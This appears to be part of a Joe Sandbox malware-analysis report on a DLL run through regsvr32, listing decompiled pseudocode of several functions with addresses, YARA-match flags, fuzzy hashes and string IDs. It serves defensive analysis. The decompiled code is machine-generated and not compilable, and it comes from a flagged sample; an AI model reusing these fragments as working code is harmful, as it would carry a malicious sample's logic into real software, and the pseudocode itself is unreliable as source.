				_t54 = _t222 + 3; // 0x3
				r8d = _t54;
				_t177 =  *((intOrPtr*)(_t187 - 8));
				if (_t177 - _t240 >= 0) goto 0x800068ec;
				_t215 = _t214 +  *_t187 - _t177;
				goto 0x8000690a;
				if (_t177 - _t197 >= 0) goto 0x800068fc;
				goto 0x8000690a;
				_t119 = _t177 - _t201;
				if (_t119 >= 0) goto 0x8000690a;
				_t210 = _t209 - 1;
				if (_t119 != 0) goto 0x800068d8;
				_t189 =  *((intOrPtr*)(_t166 + 0x120));
				 *((long long*)(_t204 - 0x71)) = _t215;
				if (_t189 == 0) goto 0x80006a0e;
				_t156 =  *((intOrPtr*)(_t189 + 8));
				goto 0x80006935;
				_t190 = _t156;
				if ( *((intOrPtr*)(_t156 + 8)) != 0) goto 0x8000692e;
				if ( *((intOrPtr*)(_t190 + 0x7c)) != 0) goto 0x80006961;
				if ( *((intOrPtr*)(_t190 + 0x80)) != 0) goto 0x80006961;
				if ( *((intOrPtr*)(_t190 + 0x78)) == 0) goto 0x800069f2;
				if ( *((intOrPtr*)(_t166 + 0x14)) - 0x14 <= 0) goto 0x800069f2;
				_t178 =  *((intOrPtr*)(_t190 + 0x60));
				r8d = 0;
				if (_t178 == 0) goto 0x800069f2;
				_t158 =  *_t178;
				if (_t158 == 0xffffffff) goto 0x800069e1;
				if (_t158 -  *((intOrPtr*)(_t166 + 0x168)) < 0) goto 0x8000698c;
				if (_t158 -  *((intOrPtr*)(_t166 + 0x170)) < 0) goto 0x800069e1;
				if (_t158 -  *((intOrPtr*)(_t166 + 0x178)) < 0) goto 0x8000699e;
				if (_t158 -  *((intOrPtr*)(_t166 + 0x180)) < 0) goto 0x800069e1;
				if (_t158 -  *((intOrPtr*)(_t166 + 0x188)) < 0) goto 0x800069b0;
				if (_t158 -  *((intOrPtr*)(_t166 + 0x190)) < 0) goto 0x800069e1;
				if (_t158 - _t240 >= 0) goto 0x800069c1;
				_t160 =  *((intOrPtr*)(_t178 + 8)) - _t210;
				goto 0x800069e1;
				if (_t160 - _t197 >= 0) goto 0x800069d2;
				goto 0x800069e1;
				if ( *((intOrPtr*)(_t178 + 8)) - _t210 - _t201 >= 0) goto 0x800069e1;
				if ( *((intOrPtr*)(_t178 + 0x10)) != 0) goto 0x80006971;
				 *((long long*)(_t204 - 0x71)) = _t215 + _t160;
				_t97 = E0000000118000F3BC(_t190);
				if ( *((intOrPtr*)(_t178 + 8)) - _t210 != 0) goto 0x8000693e;
				r8d =  *((intOrPtr*)(_t204 - 0x79));
				r8d = r8d + 1;
				 *((intOrPtr*)(_t204 - 0x79)) = r8d;
				if (r8d - 0xa > 0) goto 0x80006a2c;
				goto 0x800067cf;
				 *(_t166 + 0x148) =  *(_t166 + 0x148) & 0x00000000;
				asm("movups [ebx+0x150], xmm7");
				asm("movsd [ebx+0x160], xmm6");
				_t98 = E000000011800149A0(_t97, 0,  *(_t204 + 0xf) ^ _t207);
				asm("inc ecx");
				asm("inc ecx");
				return _t98;
			}






































                                                                                                        0x1800066d4
                                                                                                        0x1800066d4
                                                                                                        0x1800066d7
                                                                                                        0x1800066db
                                                                                                        0x1800066df
                                                                                                        0x1800066e4
                                                                                                        0x1800066e8
                                                                                                        0x1800066ec
                                                                                                        0x1800066f0
                                                                                                        0x1800066f7
                                                                                                        0x1800066fb
                                                                                                        0x1800066ff
                                                                                                        0x180006706
                                                                                                        0x180006709
                                                                                                        0x18000670d
                                                                                                        0x180006710
                                                                                                        0x180006717
                                                                                                        0x18000671c
                                                                                                        0x180006723
                                                                                                        0x180006726
                                                                                                        0x18000672a
                                                                                                        0x18000672d
                                                                                                        0x180006734
                                                                                                        0x180006738
                                                                                                        0x18000673f
                                                                                                        0x180006741
                                                                                                        0x180006745
                                                                                                        0x180006747
                                                                                                        0x18000674a
                                                                                                        0x180006751
                                                                                                        0x180006757
                                                                                                        0x180006760
                                                                                                        0x180006766
                                                                                                        0x18000676c
                                                                                                        0x180006783
                                                                                                        0x180006787
                                                                                                        0x18000678b
                                                                                                        0x180006793
                                                                                                        0x180006798
                                                                                                        0x18000679e
                                                                                                        0x1800067a0
                                                                                                        0x1800067a8
                                                                                                        0x1800067ae
                                                                                                        0x1800067b1
                                                                                                        0x1800067b9
                                                                                                        0x1800067c0
                                                                                                        0x1800067c3
                                                                                                        0x1800067c3
                                                                                                        0x1800067c7
                                                                                                        0x1800067cb
                                                                                                        0x1800067d6
                                                                                                        0x1800067d9
                                                                                                        0x1800067dc
                                                                                                        0x1800067de
                                                                                                        0x1800067e3
                                                                                                        0x1800067f1
                                                                                                        0x1800067f6
                                                                                                        0x1800067fa
                                                                                                        0x180006804
                                                                                                        0x18000680c
                                                                                                        0x180006814
                                                                                                        0x180006816
                                                                                                        0x18000681e
                                                                                                        0x180006826
                                                                                                        0x180006839
                                                                                                        0x180006844
                                                                                                        0x180006847
                                                                                                        0x180006853
                                                                                                        0x180006856
                                                                                                        0x18000685a
                                                                                                        0x180006862
                                                                                                        0x180006865
                                                                                                        0x180006869
                                                                                                        0x180006872
                                                                                                        0x180006878
                                                                                                        0x18000687d
                                                                                                        0x180006883
                                                                                                        0x18000688f
                                                                                                        0x180006897
                                                                                                        0x18000689c
                                                                                                        0x1800068a1
                                                                                                        0x1800068a4
                                                                                                        0x1800068a8
                                                                                                        0x1800068ad
                                                                                                        0x1800068b1
                                                                                                        0x1800068b6
                                                                                                        0x1800068b9
                                                                                                        0x1800068c0
                                                                                                        0x1800068c4
                                                                                                        0x1800068c8
                                                                                                        0x1800068cf
                                                                                                        0x1800068d3
                                                                                                        0x1800068d3
                                                                                                        0x1800068d8
                                                                                                        0x1800068df
                                                                                                        0x1800068e7
                                                                                                        0x1800068ea
                                                                                                        0x1800068ef
                                                                                                        0x1800068fa
                                                                                                        0x1800068fc
                                                                                                        0x1800068ff
                                                                                                        0x18000690e
                                                                                                        0x180006912
                                                                                                        0x180006914
                                                                                                        0x18000691b
                                                                                                        0x180006922
                                                                                                        0x180006928
                                                                                                        0x18000692c
                                                                                                        0x18000692e
                                                                                                        0x180006938
                                                                                                        0x180006942
                                                                                                        0x18000694b
                                                                                                        0x180006951
                                                                                                        0x18000695b
                                                                                                        0x180006961
                                                                                                        0x180006965
                                                                                                        0x18000696b
                                                                                                        0x180006971
                                                                                                        0x180006978
                                                                                                        0x180006981
                                                                                                        0x18000698a
                                                                                                        0x180006993
                                                                                                        0x18000699c
                                                                                                        0x1800069a5
                                                                                                        0x1800069ae
                                                                                                        0x1800069b3
                                                                                                        0x1800069b9
                                                                                                        0x1800069bf
                                                                                                        0x1800069c4
                                                                                                        0x1800069d0
                                                                                                        0x1800069d5
                                                                                                        0x1800069ec
                                                                                                        0x1800069ee
                                                                                                        0x1800069f5
                                                                                                        0x180006a04
                                                                                                        0x180006a0e
                                                                                                        0x180006a12
                                                                                                        0x180006a15
                                                                                                        0x180006a1d
                                                                                                        0x180006a27
                                                                                                        0x180006a2c
                                                                                                        0x180006a34
                                                                                                        0x180006a3b
                                                                                                        0x180006a4a
                                                                                                        0x180006a63
                                                                                                        0x180006a68
                                                                                                        0x180006a79

                                                                                                        Strings
                                                                                                        • Zone calculation, iteration %u: 0 - %I64d - %I64d - %I64d, xrefs: 0000000180006888
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: Zone calculation, iteration %u: 0 - %I64d - %I64d - %I64d
                                                                                                        • API String ID: 0-2171064792
                                                                                                        • Opcode ID: c622d78fb90fbed901fd36e0c7690bd722f3a57f3a860c390c5f238876736427
                                                                                                        • Instruction ID: 7f6d4f6c50eeb4fb48f6f913801cd62dacf9f78ba92a97737524f4401dbdcf63
                                                                                                        • Opcode Fuzzy Hash: c622d78fb90fbed901fd36e0c7690bd722f3a57f3a860c390c5f238876736427
                                                                                                        • Instruction Fuzzy Hash: 14B15C32B15B4889EB96CF6594143EC73A6F708BD8F148626EE4D27B64DE35C69AC300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242765C Relevance: 1.5, Strings: 1, Instructions: 244COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: NK1J
                                                                                                        • API String ID: 0-1981037839
                                                                                                        • Opcode ID: c543362e1407162517a28224106b6e2b38507a100d9490db9fe46cafc38dab3b
                                                                                                        • Instruction ID: 163879e6047b360dabe1bd616672bb26cddbf82a6b6aba810d588042c761c086
                                                                                                        • Opcode Fuzzy Hash: c543362e1407162517a28224106b6e2b38507a100d9490db9fe46cafc38dab3b
                                                                                                        • Instruction Fuzzy Hash: A5C199B190470D8FDB88DF68C44A59D7BBAFB55314F008129FC0E9A294D7B8F919CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180042108 Relevance: 1.5, Strings: 1, Instructions: 241COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 63%
                                                                                                        			E00000001180042108(signed int __esi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, signed int __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				long long _v24;
				intOrPtr _t112;
				signed int _t116;
				intOrPtr _t120;
				signed int _t121;
				signed int _t142;
				signed int _t150;
				void* _t172;
				intOrPtr _t173;
				signed char* _t183;
				signed char* _t188;
				void* _t190;
				signed char* _t193;
				intOrPtr* _t198;
				signed int* _t199;
				signed char** _t202;
				signed char** _t204;
				intOrPtr _t212;
				signed int _t216;
				void* _t218;
				void* _t221;
				void* _t223;
				void* _t224;

				_t223 = __r10;
				_t221 = __r8;
				_t216 = __rbp;
				_t214 = __rsi;
				_t172 = _t218;
				 *((long long*)(_t172 + 8)) = __rbx;
				 *((long long*)(_t172 + 0x10)) = __rbp;
				 *((long long*)(_t172 + 0x18)) = __rsi;
				 *((long long*)(_t172 + 0x20)) = __rdi;
				_t173 =  *((intOrPtr*)(__rcx + 8));
				_t142 = __esi | 0xffffffff;
				_t190 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x460)) != __rbp) goto 0x80042146;
				 *((char*)(_t173 + 0x30)) = 1;
				 *((intOrPtr*)(_t173 + 0x2c)) = 0x16;
				goto 0x8004246b;
				_t193 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t193 != 0) goto 0x8004217d;
				 *((char*)(_t173 + 0x30)) = 1;
				r9d = 0;
				 *((intOrPtr*)(_t173 + 0x2c)) = 0x16;
				r8d = 0;
				_v16 =  *((intOrPtr*)(__rcx + 8));
				_v24 = __rbp;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, _t193, __rdx, __rsi, __rbp, __r8);
				goto 0x80042411;
				_t112 =  *((intOrPtr*)(_t190 + 0x468)) + 1;
				 *((intOrPtr*)(_t190 + 0x468)) = _t112;
				if (_t112 == 2) goto 0x8004240e;
				 *((intOrPtr*)(_t190 + 0x48)) = 0;
				 *(_t190 + 0x24) = bpl;
				r8b =  *_t193;
				goto 0x800423ea;
				if ( *(_t190 + 0x20) < 0) goto 0x800423fb;
				if (_t221 - 0x20 - 0x5a > 0) goto 0x800421d0;
				goto 0x800421d3;
				_t208 = r8b - 0x20 +  &(_t193[1]) * 8;
				_t116 =  *(0x800c44a0 + (r8b - 0x20 +  &(_t193[1]) * 8) * 2) & 0x000000ff;
				 *(_t190 + 0x24) = _t116;
				if (_t116 - 8 >= 0) goto 0x80042458;
				_t150 = _t116;
				if (_t150 == 0) goto 0x80042313;
				if (_t150 == 0) goto 0x800422fc;
				if (_t150 == 0) goto 0x800422ad;
				if (_t150 == 0) goto 0x80042274;
				if (_t150 == 0) goto 0x8004226c;
				if (_t150 == 0) goto 0x8004223e;
				if (_t150 == 0) goto 0x80042234;
				if (_t116 - 0xfffffffffffffffc != 1) goto 0x80042484;
				E00000001180048120(_t190, _t190, r8b - 0x20 +  &(_t193[1]) * 8, __rdi, _t214, _t221, _t223);
				goto 0x800422a0;
				E00000001180046084(_t190, _t208, _t221, _t224);
				goto 0x800422a0;
				if (r8b == 0x2a) goto 0x80042252;
				E00000001180040A14(_t190, _t190, _t190 + 0x30, _t214);
				goto 0x800422a0;
				_t198 =  *(_t190 + 0x18);
				 *(_t190 + 0x18) = _t198 + 8;
				_t120 =  *_t198;
				_t138 =  <  ? _t142 : _t120;
				 *(_t190 + 0x30) =  <  ? _t142 : _t120;
				goto 0x8004229e;
				 *(_t190 + 0x30) = 0;
				goto 0x800423df;
				if (r8b == 0x2a) goto 0x80042280;
				goto 0x80042248;
				_t199 =  *(_t190 + 0x18);
				 *(_t190 + 0x18) =  &(_t199[2]);
				_t121 =  *_t199;
				 *(_t190 + 0x2c) = _t121;
				if (_t121 >= 0) goto 0x8004229e;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000004;
				 *(_t190 + 0x2c) =  ~_t121;
				if (1 == 0) goto 0x80042484;
				goto 0x800423df;
				if (r8b == 0x20) goto 0x800422f3;
				if (r8b == 0x23) goto 0x800422ea;
				if (r8b == 0x2b) goto 0x800422e1;
				if (r8b == 0x2d) goto 0x800422d8;
				if (r8b != 0x30) goto 0x800423df;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000008;
				goto 0x800423df;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000004;
				goto 0x800423df;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000001;
				goto 0x800423df;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000020;
				goto 0x800423df;
				 *(_t190 + 0x28) =  *(_t190 + 0x28) | 0x00000002;
				goto 0x800423df;
				 *(_t190 + 0x28) = _t216;
				 *(_t190 + 0x38) = bpl;
				 *(_t190 + 0x30) = _t142;
				 *((intOrPtr*)(_t190 + 0x34)) = 0;
				 *(_t190 + 0x4c) = bpl;
				goto 0x800423df;
				_t212 =  *((intOrPtr*)(_t190 + 8));
				 *(_t190 + 0x4c) = bpl;
				if ( *((intOrPtr*)(_t212 + 0x28)) != bpl) goto 0x80042329;
				E0000000118002F1E0( &(_t199[2]), _t190, _t212, _t190 + 0x2c, _t214);
				if (r8d - _t142 < 0) goto 0x800423a0;
				if (( *( *((intOrPtr*)( *((intOrPtr*)(_t212 + 0x18)))) +  *(_t190 + 0x39) * 2) & 0x00008000) == 0) goto 0x800423a0;
				_t202 =  *(_t190 + 0x460);
				if ( *((intOrPtr*)(_t202 + 0x10)) !=  *((intOrPtr*)(_t202 + 8))) goto 0x80042367;
				if ( *((intOrPtr*)(_t202 + 0x18)) == bpl) goto 0x80042362;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				goto 0x80042385;
				 *(_t190 + 0x20) = _t142;
				goto 0x80042385;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				 *((long long*)(_t202 + 0x10)) =  *((long long*)(_t202 + 0x10)) + 1;
				 *( *( *(_t190 + 0x460))) = r8b;
				 *( *(_t190 + 0x460)) =  &(( *( *(_t190 + 0x460)))[1]);
				_t183 =  *(_t190 + 0x10);
				r8b =  *_t183;
				 *(_t190 + 0x10) =  &(_t183[1]);
				 *(_t190 + 0x39) = r8b;
				if (r8b == 0) goto 0x8004242c;
				_t204 =  *(_t190 + 0x460);
				if ( *((intOrPtr*)(_t204 + 0x10)) !=  *((intOrPtr*)(_t204 + 8))) goto 0x800423c1;
				if ( *((intOrPtr*)(_t204 + 0x18)) == bpl) goto 0x800423bc;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				goto 0x800423df;
				 *(_t190 + 0x20) = _t142;
				goto 0x800423df;
				 *(_t190 + 0x20) =  *(_t190 + 0x20) + 1;
				 *((long long*)(_t204 + 0x10)) =  *((long long*)(_t204 + 0x10)) + 1;
				 *( *( *(_t190 + 0x460))) = r8b;
				 *( *(_t190 + 0x460)) =  &(( *( *(_t190 + 0x460)))[1]);
				_t188 =  *(_t190 + 0x10);
				r8b =  *_t188;
				 *(_t190 + 0x10) =  &(_t188[1]);
				 *(_t190 + 0x39) = r8b;
				if (r8b != 0) goto 0x800421ad;
				 *((intOrPtr*)(_t190 + 0x468)) =  *((intOrPtr*)(_t190 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t190 + 0x468)) != 2) goto 0x8004219b;
				return  *(_t190 + 0x20);
			}



























                                                                                                        0x180042108
                                                                                                        0x180042108
                                                                                                        0x180042108
                                                                                                        0x180042108
                                                                                                        0x180042108
                                                                                                        0x18004210b
                                                                                                        0x18004210f
                                                                                                        0x180042113
                                                                                                        0x180042117
                                                                                                        0x180042121
                                                                                                        0x180042125
                                                                                                        0x18004212a
                                                                                                        0x180042134
                                                                                                        0x180042136
                                                                                                        0x18004213a
                                                                                                        0x180042141
                                                                                                        0x180042146
                                                                                                        0x18004214d
                                                                                                        0x18004214f
                                                                                                        0x180042153
                                                                                                        0x180042156
                                                                                                        0x18004215d
                                                                                                        0x180042166
                                                                                                        0x18004216b
                                                                                                        0x180042170
                                                                                                        0x180042178
                                                                                                        0x180042183
                                                                                                        0x180042185
                                                                                                        0x18004218e
                                                                                                        0x18004219b
                                                                                                        0x18004219e
                                                                                                        0x1800421a2
                                                                                                        0x1800421a8
                                                                                                        0x1800421b0
                                                                                                        0x1800421bc
                                                                                                        0x1800421ce
                                                                                                        0x1800421da
                                                                                                        0x1800421e1
                                                                                                        0x1800421e6
                                                                                                        0x1800421eb
                                                                                                        0x1800421f3
                                                                                                        0x1800421f5
                                                                                                        0x1800421fe
                                                                                                        0x180042207
                                                                                                        0x180042210
                                                                                                        0x180042215
                                                                                                        0x18004221a
                                                                                                        0x18004221f
                                                                                                        0x180042224
                                                                                                        0x18004222d
                                                                                                        0x180042232
                                                                                                        0x180042237
                                                                                                        0x18004223c
                                                                                                        0x180042242
                                                                                                        0x18004224b
                                                                                                        0x180042250
                                                                                                        0x180042252
                                                                                                        0x18004225a
                                                                                                        0x18004225e
                                                                                                        0x180042264
                                                                                                        0x180042267
                                                                                                        0x18004226a
                                                                                                        0x18004226c
                                                                                                        0x18004226f
                                                                                                        0x180042278
                                                                                                        0x18004227e
                                                                                                        0x180042280
                                                                                                        0x180042288
                                                                                                        0x18004228c
                                                                                                        0x18004228e
                                                                                                        0x180042293
                                                                                                        0x180042295
                                                                                                        0x18004229b
                                                                                                        0x1800422a2
                                                                                                        0x1800422a8
                                                                                                        0x1800422b1
                                                                                                        0x1800422b7
                                                                                                        0x1800422bd
                                                                                                        0x1800422c3
                                                                                                        0x1800422c9
                                                                                                        0x1800422cf
                                                                                                        0x1800422d3
                                                                                                        0x1800422d8
                                                                                                        0x1800422dc
                                                                                                        0x1800422e1
                                                                                                        0x1800422e5
                                                                                                        0x1800422ea
                                                                                                        0x1800422ee
                                                                                                        0x1800422f3
                                                                                                        0x1800422f7
                                                                                                        0x1800422fc
                                                                                                        0x180042300
                                                                                                        0x180042304
                                                                                                        0x180042307
                                                                                                        0x18004230a
                                                                                                        0x18004230e
                                                                                                        0x180042313
                                                                                                        0x180042317
                                                                                                        0x18004231f
                                                                                                        0x180042324
                                                                                                        0x180042331
                                                                                                        0x180042344
                                                                                                        0x180042346
                                                                                                        0x180042355
                                                                                                        0x18004235b
                                                                                                        0x18004235d
                                                                                                        0x180042360
                                                                                                        0x180042362
                                                                                                        0x180042365
                                                                                                        0x180042367
                                                                                                        0x18004236a
                                                                                                        0x180042378
                                                                                                        0x180042382
                                                                                                        0x180042385
                                                                                                        0x180042389
                                                                                                        0x18004238f
                                                                                                        0x180042393
                                                                                                        0x18004239a
                                                                                                        0x1800423a0
                                                                                                        0x1800423af
                                                                                                        0x1800423b5
                                                                                                        0x1800423b7
                                                                                                        0x1800423ba
                                                                                                        0x1800423bc
                                                                                                        0x1800423bf
                                                                                                        0x1800423c1
                                                                                                        0x1800423c4
                                                                                                        0x1800423d2
                                                                                                        0x1800423dc
                                                                                                        0x1800423df
                                                                                                        0x1800423e3
                                                                                                        0x1800423ea
                                                                                                        0x1800423ee
                                                                                                        0x1800423f5
                                                                                                        0x1800423fb
                                                                                                        0x180042408
                                                                                                        0x18004242b

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID: 0-3916222277
                                                                                                        • Opcode ID: e4288562bd8b077ef0e38f0c5a6bac86c81f02086d7af61584cf1bcf143e0be3
                                                                                                        • Instruction ID: 1b7b385ed34d131b9b617c6bdd2891372aed8e03eadb49c5a040ff6ef2da1662
                                                                                                        • Opcode Fuzzy Hash: e4288562bd8b077ef0e38f0c5a6bac86c81f02086d7af61584cf1bcf143e0be3
                                                                                                        • Instruction Fuzzy Hash: F6B17072214B8885E7A68F39C0903AD3BB0F34DB8CFA68115EB4A47395CF75CA59D748
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240D87C Relevance: 1.5, Strings: 1, Instructions: 235COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: wkIX
                                                                                                        • API String ID: 0-3609546354
                                                                                                        • Opcode ID: 0199ffd5668d51097293d6ac7ca755b88aed4f3c4ea08cc586476ec026bd57e5
                                                                                                        • Instruction ID: e7643b24f14a0357c40d4004c710d76c62430f107118d2de7bf8c78eeb5dd569
                                                                                                        • Opcode Fuzzy Hash: 0199ffd5668d51097293d6ac7ca755b88aed4f3c4ea08cc586476ec026bd57e5
                                                                                                        • Instruction Fuzzy Hash: 46D167B6A02349CFDB48CF68C6CA59E7BF1EF55308F004119FC1A9A2A4D374D529CB48
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02427A68 Relevance: 1.5, Strings: 1, Instructions: 216COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ZC
                                                                                                        • API String ID: 0-999232015
                                                                                                        • Opcode ID: abcb925dbf539751b356f900a566689e48f01c8d979d1b35fac162b111475431
                                                                                                        • Instruction ID: 773c51cce8dc27aeb5994f1db96700663f0c41bbe3bd0fbab90b2b30a2be4dc0
                                                                                                        • Opcode Fuzzy Hash: abcb925dbf539751b356f900a566689e48f01c8d979d1b35fac162b111475431
                                                                                                        • Instruction Fuzzy Hash: ABA1E2B1504609CFDB98CF28C4899DE7BE1FF48318F41422AFC499B294D774DAA8CB85
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02428C38 Relevance: 1.5, Strings: 1, Instructions: 208COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: PRO,
                                                                                                        • API String ID: 0-3225949513
                                                                                                        • Opcode ID: 6416f651049ed0ac0be5d39c5721d5aa9af2b07f5804d72d40d86cb4b195f08c
                                                                                                        • Instruction ID: 5ae889aee85d4429098ece07d6e69de26b8c57c04fe146c9717a1a56b4859916
                                                                                                        • Opcode Fuzzy Hash: 6416f651049ed0ac0be5d39c5721d5aa9af2b07f5804d72d40d86cb4b195f08c
                                                                                                        • Instruction Fuzzy Hash: 62A1F070D04618EFDF58CFA9E8C949EBBB1FB44318F50412AE416AB2A0DB749949CF45
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242539C Relevance: 1.4, Strings: 1, Instructions: 196COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: MQ
                                                                                                        • API String ID: 0-409092821
                                                                                                        • Opcode ID: 833118fcfb14b3e941e3825ef2f451e3b956c3715eab08df9e2ae327141b1db2
                                                                                                        • Instruction ID: 2dd5523cfd816b758496b56216a20c3eabd049127fc52795d5b5eb8c6f53f62f
                                                                                                        • Opcode Fuzzy Hash: 833118fcfb14b3e941e3825ef2f451e3b956c3715eab08df9e2ae327141b1db2
                                                                                                        • Instruction Fuzzy Hash: 3291F270D042198BDF48CFA9D8899DEBBF1FB48308F10912AE816B7250D7789948CF65
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242358C Relevance: 1.4, Strings: 1, Instructions: 193COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: [9
                                                                                                        • API String ID: 0-4020103492
                                                                                                        • Opcode ID: 4648f2517e9a98dbb6d45c4e27c405c6abf077332fdee9638847badd4874ab4f
                                                                                                        • Instruction ID: d874683cf61f17761aca408908847722820f751a859f1734a14594e14027c9b1
                                                                                                        • Opcode Fuzzy Hash: 4648f2517e9a98dbb6d45c4e27c405c6abf077332fdee9638847badd4874ab4f
                                                                                                        • Instruction Fuzzy Hash: 37813C70A08709DFCF58DFA8C4A559EBBF5FB44344F0085AEE84AE7290D7749A49CB81
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800474CC Relevance: 1.4, Strings: 1, Instructions: 187COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 40%
                                                                                                        			E000000011800474CC(long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r10, long long _a16, long long _a24) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rdi;
				void* __rbp;
				void* _t120;
				void* _t121;
				unsigned int _t158;
				intOrPtr _t159;
				signed char _t173;
				void* _t174;
				signed char _t176;
				void* _t177;
				char _t182;
				void* _t186;
				void* _t206;
				void* _t207;
				signed int _t254;
				signed int _t256;
				signed long long _t266;
				intOrPtr _t275;
				intOrPtr _t276;
				void* _t280;
				intOrPtr* _t284;
				intOrPtr* _t287;
				void* _t290;
				long long _t292;
				long long _t296;
				long long _t298;
				void* _t301;
				signed int* _t302;
				long long _t303;
				void* _t307;
				void* _t308;
				void* _t311;
				void* _t318;
				intOrPtr _t321;
				intOrPtr* _t325;

				_t318 = __r10;
				_t311 = __r8;
				_t303 = __rsi;
				_t290 = __rdx;
				_a16 = __rbx;
				_a24 = __rsi;
				_t307 = _t308;
				_t309 = _t308 - 0x50;
				_t266 =  *0x800d81f8; // 0x68308725f9ca
